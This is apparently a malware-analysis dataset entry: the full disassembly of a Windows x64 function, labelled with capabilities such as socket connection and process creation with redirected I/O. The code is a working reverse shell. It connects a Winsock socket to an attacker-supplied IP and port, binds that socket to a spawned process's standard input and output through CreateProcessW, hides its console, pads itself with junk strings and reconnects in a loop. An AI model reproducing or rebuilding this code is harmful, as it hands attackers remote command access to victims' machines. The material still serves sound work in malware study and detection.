Function at 0x1400019c0
Capabilities:
Connect socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0xa20], rax
mov r14, rdx
xor r13d, r13d
mov esi, r13d
mov dword [rsp + 0x50], r13d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r15d, eax
mov eax, 0x10624dd3
imul r15d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1f4
sub r15d, ecx
mov dword [rbp - 0x80], r15d
cmp r15d, 0x2bc
jle 0x140001ce1
cmp r15d, 0x249f0
jge 0x140001ce1
lea ecx, [r13 + 4]
call fcn.140005010
mov dword [rax], 0x64
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
lea r8d, [r13 + 0x2b]
lea rdx, str.PH2C0J99XUKM6K2Y7WO7HFB9OJ3EXD0SKSB4MU2EPD9
lea rcx, [rbp - 0x38]
call fcn.140004990
nop
movaps xmm0, xmmword [str.NHC69BZTBG7J3E30TAFBIOSHRXZQNP0RUZUKPQ0LA74]
movaps xmmword [rbp + 0x120], xmm0
movaps xmm1, xmmword [0x140007710]
movaps xmmword [rbp + 0x130], xmm1
movaps xmm0, xmmword [0x140007720]
movaps xmmword [rbp + 0x140], xmm0
movaps xmm1, xmmword [0x140007730]
movaps xmmword [rbp + 0x150], xmm1
movaps xmm0, xmmword [0x140007740]
movaps xmmword [rbp + 0x160], xmm0
movsd xmm0, qword [0x140007750]
movsd qword [rbp + 0x170], xmm0
xor edx, edx
mov r8d, 0xa8
lea rcx, [rbp + 0x178]
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [str.ORIA1EWRNZSG47PCC3TRIC8C9JSP85E6USZMDU9TNOQ]
movaps xmmword [rbp + 0xb0], xmm0
movaps xmm1, xmmword [0x140007770]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm0, xmmword [0x140007780]
movaps xmmword [rbp + 0xd0], xmm0
movaps xmm1, xmmword [0x140007790]
movaps xmmword [rbp + 0xe0], xmm1
movaps xmm0, xmmword [0x1400077a0]
movaps xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x1400077b0]
movsd qword [rbp + 0x100], xmm0
xor eax, eax
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x110], eax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x120]
call fcn.140001980
lea ecx, [r13 + 4]
call fcn.140005010
mov dword [rax], 0xc
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x108
call fcn.140005010
mov rbx, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x108
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
lea r8d, [r13 + 0x2f]
lea rdx, str.M5A1HOWZW971GMNI2EM57JZDMOZG1YFDA78O9CMZ2W4.txt
lea rcx, [rbp - 0x78]
call fcn.140004990
nop
or esi, 4
mov dword [rsp + 0x50], esi
lea rdx, [rbp - 0x78]
mov rcx, rbx
call fcn.140001290
mov rbx, rax
test sil, 4
je 0x140001c25
and esi, 0xfffffffb
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140001c15
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
mov r8d, 0x21
lea rdx, str.05pkd6btb3xr1zburrnbisrfvamf89ybs
lea rcx, [rsp + 0x58]
call fcn.140004990
nop
lea r8, [rsp + 0x58]
mov edx, 3
mov rcx, rbx
call fcn.1400013b0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140001ca3
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001ce1
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cdc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
movaps xmm0, xmmword [str.hDGcfRJ9xk2wIamPjbhU4yXaMffn4KmOtFAh95j3G0ArydP1ANyOHdy1x5Ll00cgoMH]
movaps xmmword [rbp + 0xb0], xmm0
movaps xmm0, xmmword [0x1400078d0]
movaps xmmword [rbp + 0xd0], xmm0
movaps xmm1, xmmword [0x1400078e0]
movaps xmmword [rbp + 0xe0], xmm1
mov eax, dword [0x1400078f0]
mov dword [rbp + 0xf0], eax
mov rax, qword [0x1400078c0]
shr rax, 0x20
cmp al, 0x73
jne 0x140001dad
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
mov r8d, 0x1e
lea rdx, str.abKRUhK4qlFok7UMbbXdOzZF4h4SlR
lea rcx, [rbp - 0x78]
call fcn.140004990
nop
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004d90
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140001dad
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001da8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001da8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
mov ecx, 4
call fcn.140005010
mov dword [rax], 0x4af68961
mov ecx, 0x202
lea rdx, [0x14000ba40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
mov r8d, 2
lea rdx, [0x140007688]
lea rcx, [rbp - 0x58]
call fcn.140004990
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
mov r8d, 9
lea rdx, str.kjtfg8978
lea rcx, [rbp - 0x38]
call fcn.140004990
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001e59
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140001e97
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
mov rdx, qword [r14]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rdx + r8], 0
jne 0x140001eb3
lea rcx, [rbp + 0x28]
call fcn.140004990
nop
mov edx, r13d
mov rdi, qword [rbp + 0x38]
test rdi, rdi
je 0x140001f3a
mov r8, r13
mov r9, qword [rbp + 0x40]
mov r10, qword [rbp + 0x28]
nop
lea rax, [rbp + 0x28]
cmp r9, 0xf
seta cl
cmova rax, r10
cmp byte [rax + r8], 0x78
jne 0x140001f1f
lea rax, [rbp + 0x28]
test cl, cl
cmovne rax, r10
mov byte [rax + r8], 0x2e
mov rdi, qword [rbp + 0x38]
lea rcx, [rdi - 3]
movsxd rax, edx
cmp rax, rcx
ja 0x140001f3a
mov r9, qword [rbp + 0x40]
mov r10, qword [rbp + 0x28]
jmp 0x140001f2b
lea rcx, [rdi - 3]
movsxd rax, edx
cmp rax, rcx
ja 0x140001f42
inc edx
inc r8
movsxd rax, edx
cmp rax, rdi
jb 0x140001ee0
jmp 0x140001f42
mov r9, qword [rbp + 0x40]
mov r10, qword [rbp + 0x28]
lea rcx, [rbp + 0x28]
cmp r9, 0xf
cmova rcx, r10
cmp rdi, 1
jb 0x140001f7d
lea rax, [rdi - 1]
cmp rax, rdi
cmovb rdi, rax
add rdi, rcx
cmp byte [rdi], 0x5f
jne 0x140001f6e
mov eax, r13d
test eax, eax
je 0x140001f78
cmp rdi, rcx
je 0x140001f7d
dec rdi
jmp 0x140001f62
sub rdi, rcx
jmp 0x140001f80
mov rdi, r12
mov rdx, qword [r14 + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], r13
mov r8, r12
inc r8
cmp byte [rdx + r8], 0
jne 0x140001f96
lea rcx, [rbp + 8]
call fcn.140004990
nop
mov rdx, qword [r14 + 8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], r13
mov r8, r12
inc r8
cmp byte [rdx + r8], 0
jne 0x140001fc0
lea rcx, [rbp - 0x18]
call fcn.140004990
nop
lea rdx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004d90
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rdx, qword [rbp + 8]
mov r8, qword [rbp + 0x18]
mov rcx, rax
call fcn.140004d90
mov ecx, 4
call fcn.140005010
mov r14, rax
mov dword [rax], 4
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
mov r8d, 0xa
lea rdx, str.qwdfefwefw
lea rcx, [rbp - 0x78]
call fcn.140004990
nop
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x60]
cmp rcx, rdx
jae 0x14000206f
lea rax, [rcx + 1]
mov qword [rbp - 0x68], rax
lea rax, [rbp - 0x78]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x78]
mov word [rax + rcx], 0x3c
jmp 0x14000207b
mov r9b, 0x3c
lea rcx, [rbp - 0x78]
call fcn.140004a90
cmp dword [r14], 0x9c4
jge 0x1400021a3
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x48]
call fcn.140004370
or esi, 0x410
lea rcx, [rbp + 0x48]
mov r15, qword [rbp + 0x60]
cmp r15, 0xf
seta r13b
mov rbx, qword [rbp + 0x48]
cmova rcx, rbx
mov r8, qword [rbp + 0x58]
cmp r8, 2
jne 0x1400020dd
lea rdx, [0x140007924]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400020dd
imul eax, dword [r14], 0x2b
cmp eax, 0xfffffe9f
jle 0x1400020dd
mov r12b, 1
jmp 0x1400020e0
xor r12b, r12b
test sil, 0x10
je 0x140002122
and esi, 0xffffffef
test r13b, r13b
je 0x140002122
lea rdx, [r15 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000211a
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000211a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14000504c
xor r13d, r13d
test r12b, r12b
je 0x140002198
lea r15d, [r13 + 2]
nop
mov eax, 1
mov ebx, r13d
nop dword [rax + rax]
inc rax
cmp rax, 5
jl 0x140002140
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea edx, [r9 + 1]
lea r8d, [r9 + 6]
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x14000ba38], rax
movsxd rcx, dword [r14]
imul ebx, ecx
mov eax, 0x945afbcd
imul ebx
add edx, ebx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add edx, eax
je 0x140002193
mov ebx, 1
mov rax, r15
jmp 0x140002140
cmp rdi, rcx
jb 0x140002130
mov r12, 0xffffffffffffffff
mov r15d, dword [rbp - 0x80]
mov eax, 2
mov word [0x14000ba10], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], r13
mov r8d, eax
lea rdx, [0x140007688]
lea rcx, [rbp + 0x68]
call fcn.140004990
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
mov r8d, 9
lea rdx, str.kjtfg8978
lea rcx, [rbp - 0x38]
call fcn.140004990
nop
lea r8, [rbp - 0x38]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x48]
call fcn.140004720
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14000224a
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002245
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002245
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rbx, qword [rbp + 8]
mov dword [rax], r13d
xor r8d, r8d
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
cmp rbx, qword [rbp - 0x80]
jne 0x140002288
lea rcx, str.invalid_stoul_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
cmp dword [rdi], 0x22
jne 0x14000229b
lea rcx, str.stoul_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14000ba12], ax
mov ecx, 0x108
call fcn.140005010
mov rbx, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x108
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
mov r8d, 0x2f
lea rdx, str.B7LVGEM6FKN7GUGF3N7419A9G21PC9B4TTLORQMC2HV.txt
lea rcx, [rsp + 0x58]
call fcn.140004990
nop
or esi, 0x20
mov dword [rsp + 0x50], esi
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.140001290
nop
test sil, 0x20
je 0x140002355
and esi, 0xffffffdf
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140002355
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002350
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002350
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14000ba14], eax
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8d, [r9 + 0x10]
lea rdx, [0x14000ba10]
mov rcx, qword [0x14000ba38]
call qword [sym.imp.WS2_32.dll_WSAConnect]
xorps xmm0, xmm0
movups xmmword [0x14000bbe0], xmm0
movups xmmword [0x14000bbf0], xmm0
movups xmmword [0x14000bc00], xmm0
movups xmmword [0x14000bc10], xmm0
movups xmmword [0x14000bc20], xmm0
movups xmmword [0x14000bc30], xmm0
mov dword [0x14000bbe0], 0x68
mov dword [0x14000bc1c], 0x101
mov rax, qword [0x14000ba38]
mov qword [0x14000bc40], rax
mov qword [0x14000bc38], rax
mov qword [0x14000bc30], rax
mov eax, dword [0x140007928]
mov dword [rbp + 0x220], eax
movzx eax, word [0x14000792c]
mov word [rbp + 0x224], ax
xor edx, edx
mov r8d, 0x1fa
lea rcx, [rbp + 0x226]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0x65002e0064
mov qword [rbp + 0x820], rax
xor edx, edx
mov r8d, 0x1f8
lea rcx, [rbp + 0x828]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x620], 0x78
xor edx, edx
mov r8d, 0x1fc
lea rcx, [rbp + 0x624]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x420], 0x65
xor edx, edx
mov r8d, 0x1fc
lea rcx, [rbp + 0x424]
call sub.VCRUNTIME140.dll_memset
mov r13, qword [rbp + 0x80]
mov r14, qword [rbp + 0x68]
cmp r15d, 0x2bc
jge 0x14000273b
mov edi, 0x3e7
cmp r13, 0xf
seta r15b
nop word [rax + rax]
lea rax, [rbp + 0x68]
test r15b, r15b
cmovne rax, r14
cmp byte [rax], 0x33
jne 0x140002793
mov ecx, 4
call fcn.140005010
mov dword [rax], 0x64
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xor ebx, ebx
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
lea r8d, [rbx + 0x2b]
lea rdx, str.PH2C0J99XUKM6K2Y7WO7HFB9OJ3EXD0SKSB4MU2EPD9
lea rcx, [rbp - 0x58]
call fcn.140004990
nop
movaps xmm0, xmmword [str.NHC69BZTBG7J3E30TAFBIOSHRXZQNP0RUZUKPQ0LA74]
movaps xmmword [rbp + 0x120], xmm0
movaps xmm1, xmmword [0x140007710]
movaps xmmword [rbp + 0x130], xmm1
movaps xmm0, xmmword [0x140007720]
movaps xmmword [rbp + 0x140], xmm0
movaps xmm1, xmmword [0x140007730]
movaps xmmword [rbp + 0x150], xmm1
movaps xmm0, xmmword [0x140007740]
movaps xmmword [rbp + 0x160], xmm0
movsd xmm0, qword [0x140007750]
movsd qword [rbp + 0x170], xmm0
xor edx, edx
mov r8d, 0xa8
lea rcx, [rbp + 0x178]
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [str.ORIA1EWRNZSG47PCC3TRIC8C9JSP85E6USZMDU9TNOQ]
movaps xmmword [rbp + 0xb0], xmm0
movaps xmm1, xmmword [0x140007770]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm0, xmmword [0x140007780]
movaps xmmword [rbp + 0xd0], xmm0
movaps xmm1, xmmword [0x140007790]
movaps xmmword [rbp + 0xe0], xmm1
movaps xmm0, xmmword [0x1400077a0]
movaps xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x1400077b0]
movsd qword [rbp + 0x100], xmm0
xor eax, eax
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x110], eax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x120]
call fcn.140001980
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x620]
call fcn.140001980
mov rdx, rax
lea rcx, [rbp + 0x820]
call fcn.140001980
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.140001980
mov rdx, rax
lea rax, [0x14000ba20]
mov qword [rsp + 0x48], rax
lea rax, [0x14000bbe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, 0x108
call fcn.140005010
mov rbx, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x108
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
lea r8d, [rax + 0x2f]
lea rdx, str.M5A1HOWZW971GMNI2EM57JZDMOZG1YFDA78O9CMZ2W4.txt
lea rcx, [rsp + 0x58]
call fcn.140004990
nop
bts esi, 8
mov dword [rsp + 0x50], esi
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.140001290
nop
bt esi, 8
jae 0x1400026f6
btr esi, 8
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400026f6
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002785
call fcn.14000504c
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14000272d
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002728
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000278c
call fcn.14000504c
inc edi
cmp edi, 0x3e8
jl 0x1400024b0
xor edi, edi
mov r12d, edi
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140002a3e
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xor edi, edi
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], rdi
lea r8d, [rdi + 2]
lea rdx, [0x140007688]
lea rcx, [rbp + 0x48]
call fcn.140004990
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rdi
mov qword [rbp + 0xa0], rdi
lea r8d, [rdi + 9]
lea rdx, str.kjtfg8978
lea rcx, [rbp + 0x88]
call fcn.140004990
nop
mov ecx, 0x108
call fcn.140005010
mov rbx, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x108
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
lea r8d, [rdi + 0x2f]
lea rdx, str.B7LVGEM6FKN7GUGF3N7419A9G21PC9B4TTLORQMC2HV.txt
lea rcx, [rsp + 0x58]
call fcn.140004990
nop
bts esi, 9
mov dword [rsp + 0x50], esi
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.140001290
mov rbx, rax
bt esi, 9
jae 0x1400028af
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000289c
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002897
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002897
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rdi
mov r8d, 0x20
lea rdx, str.32R9W2VJUIWWBFTWGG78720LUZM0R8ON
lea rcx, [rbp - 0x58]
call fcn.140004990
nop
lea r8, [rbp - 0x58]
mov edx, 3
mov rcx, rbx
call fcn.1400013b0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002925
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002920
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002920
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rdi
mov r8d, 0x17
lea rdx, str.VQJ9UQKSJYOKQV40QP2TSZA
lea rcx, [rbp - 0x58]
call fcn.140004990
nop
lea r8, [rbp - 0x58]
xor edx, edx
mov rcx, rbx
call fcn.1400013b0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002998
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002993
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002993
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
lea rdx, str.U31sHjSdRMrKuFtubkXBC4ckSBM0RxCHqZ7fFRiUxM6mw17h21ioGbhGMZEGLL39faQ
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004510
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400029f1
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140002740
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000504c
jmp 0x140002740
call fcn.14000504c
nop
cmp r13, 0xf
jbe 0x140002a79
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140002a70
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14000504c
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140002ab8
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ab2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ab2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
